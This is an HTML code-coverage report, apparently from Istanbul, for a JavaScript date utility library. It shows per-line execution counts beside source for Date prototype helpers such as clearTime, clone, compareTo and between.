<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1851</span>
<span class="cline-any cline-yes">1841</span>
<span class="cline-any cline-yes">1841</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">14</span>
<span class="cline-any cline-yes">12</span>
<span class="cline-any cline-yes">12</span>
<span class="cline-any cline-yes">12</span>
<span class="cline-any cline-yes">4</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">12</span>
<span class="cline-any cline-yes">5</span>
<span class="cline-any cline-yes">11</span>
<span class="cline-any cline-yes">11</span>
<span class="cline-any cline-yes">11</span>
<span class="cline-any cline-yes">5</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">5</span>
<span class="cline-any cline-yes">7</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">7</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">55</span>
<span class="cline-any cline-yes">54</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">413</span>
<span class="cline-any cline-yes">396</span>
<span class="cline-any cline-yes">396</span>
<span class="cline-any cline-yes">396</span>
<span class="cline-any cline-yes">396</span>
<span class="cline-any cline-yes">396</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">190</span>
<span class="cline-any cline-yes">174</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">508</span>
<span class="cline-any cline-yes">83</span>
<span class="cline-any cline-yes">83</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">425</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">425</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">425</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">425</span>
<span class="cline-any cline-yes">31</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">425</span>
<span class="cline-any cline-yes">31</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">425</span>
<span class="cline-any cline-yes">31</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">425</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">425</span>
<span class="cline-any cline-yes">109</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">425</span>
<span class="cline-any cline-yes">109</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">425</span>
<span class="cline-any cline-yes">119</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">425</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">86</span>
<span class="cline-any cline-yes">86</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">84</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">86</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">86</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">86</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">86</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">86</span>
<span class="cline-any cline-yes">86</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">86</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">3</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">14</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">15</span>
<span class="cline-any cline-yes">5</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">3</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">4</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">10</span>
<span class="cline-any cline-yes">10</span>
<span class="cline-any cline-yes">8</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">8</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-yes">1183</span>
<span class="cline-any cline-yes">1183</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">5</span>
<span class="cline-any cline-yes">5</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">3</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">7</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">3</span>
<span class="cline-any cline-yes">3</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">19</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">151</span>
<span class="cline-any cline-yes">150</span>
<span class="cline-any cline-yes">150</span>
<span class="cline-any cline-yes">330</span>
<span class="cline-any cline-yes">330</span>
<span class="cline-any cline-yes">330</span>
<span class="cline-any cline-yes">330</span>
<span class="cline-any cline-yes">226</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">330</span>
<span class="cline-any cline-yes">330</span>
<span class="cline-any cline-yes">330</span>
<span class="cline-any cline-yes">100</span>
<span class="cline-any cline-yes">230</span>
<span class="cline-any cline-yes">69</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">330</span>
<span class="cline-any cline-yes">177</span>
<span class="cline-any cline-yes">153</span>
<span class="cline-any cline-yes">34</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">150</span>
<span class="cline-any cline-yes">119</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">150</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">11</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">10</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">7</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">4</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1470</span>
<span class="cline-any cline-yes">1470</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1450</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">10</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1498</span>
<span class="cline-any cline-yes">4446</span>
<span class="cline-any cline-yes">3</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">4443</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">4</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">5</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">11</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">7</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1460</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">3</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">3</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1424</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">39</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">5</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">3</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1418</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">37</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">5</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">6</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">2958</span>
<span class="cline-any cline-yes">1470</span>
<span class="cline-any cline-yes">1470</span>
<span class="cline-any cline-yes">1460</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1498</span>
<span class="cline-any cline-yes">1498</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span></td><td class="text"><pre class="prettyprint lang-js">(function () {
	var $D = Date,
		$P = $D.prototype,
		p = function (s, l) {
			if (!l) {
				l = 2;
			}
			return ("000" + s).slice(l * -1);
		};
&nbsp;
	var validateConfigObject = function (obj) {
		var result = {}, self = this, prop, testFunc;
		testFunc = function (prop, func, value) {
			if (prop === "day") {
				var month = (obj.month !== undefined) ? obj.month : self.getMonth();
				var year = (obj.year !== undefined) ? obj.year : self.getFullYear();
				return $D[func](value, year, month);
			} else {
				return $D[func](value);
			}
		};
		for (prop in obj) {
			<span class="missing-if-branch" title="else path not taken" >E</span>if (hasOwnProperty.call(obj, prop)) {
				var func = "validate" + prop.charAt(0).toUpperCase() + prop.slice(1);
&nbsp;
				if ($D[func] &amp;&amp; obj[prop] !== null &amp;&amp; testFunc(prop, func, obj[prop])) {
					result[prop] = obj[prop];
				}
			}
		}
		return result;
	};
	/**
	 * Resets the time of this Date object to 12:00 AM (00:00), which is the start of the day.
	 * @param {Boolean}  .clone() this date instance before clearing Time
	 * @return {Date}    this
	 */
	$P.clearTime = function () {
		this.setHours(0);
		this.setMinutes(0);
		this.setSeconds(0);
		this.setMilliseconds(0);
		return this;
	};
&nbsp;
	/**
	 * Resets the time of this Date object to the current time ('now').
	 * @return {Date}    this
	 */
	$P.setTimeToNow = function () {
		var n = new Date();
		this.setHours(n.getHours());
		this.setMinutes(n.getMinutes());
		this.setSeconds(n.getSeconds());
		this.setMilliseconds(n.getMilliseconds());
		return this;
	};
	/**
	 * Returns a new Date object that is an exact date and time copy of the original instance.
	 * @return {Date}    A new Date instance
	 */
	$P.clone = function () {
		return new Date(this.getTime());
	};
&nbsp;
	/**
	 * Compares this instance to a Date object and returns an number indication of their relative values.  
	 * @param {Date}     Date object to compare [Required]
	 * @return {Number}  -1 = this is lessthan date. 0 = values are equal. 1 = this is greaterthan date.
	 */
	$P.compareTo = function (date) {
		return Date.compare(this, date);
	};
&nbsp;
	/**
	 * Compares this instance to another Date object and returns true if they are equal.  
	 * @param {Date}     Date object to compare. If no date to compare, new Date() [now] is used.
	 * @return {Boolean} true if dates are equal. false if they are not equal.
	 */
	$P.equals = function (date) {
		return Date.equals(this, (date !== undefined ? date : <span class="branch-1 cbranch-no" title="branch not covered" >new Date())</span>);
	};
&nbsp;
	/**
	 * Determines if this instance is between a range of two dates or equal to either the start or end dates.
	 * @param {Date}     Start of range [Required]
	 * @param {Date}     End of range [Required]
	 * @return {Boolean} true is this is between or equal to the start and end dates, else false
	 */
	$P.between = function (start, end) {
		return this.getTime() &gt;= start.getTime() &amp;&amp; this.getTime() &lt;= end.getTime();
	};
&nbsp;
	/**
	 * Determines if this date occurs after the date to compare to.
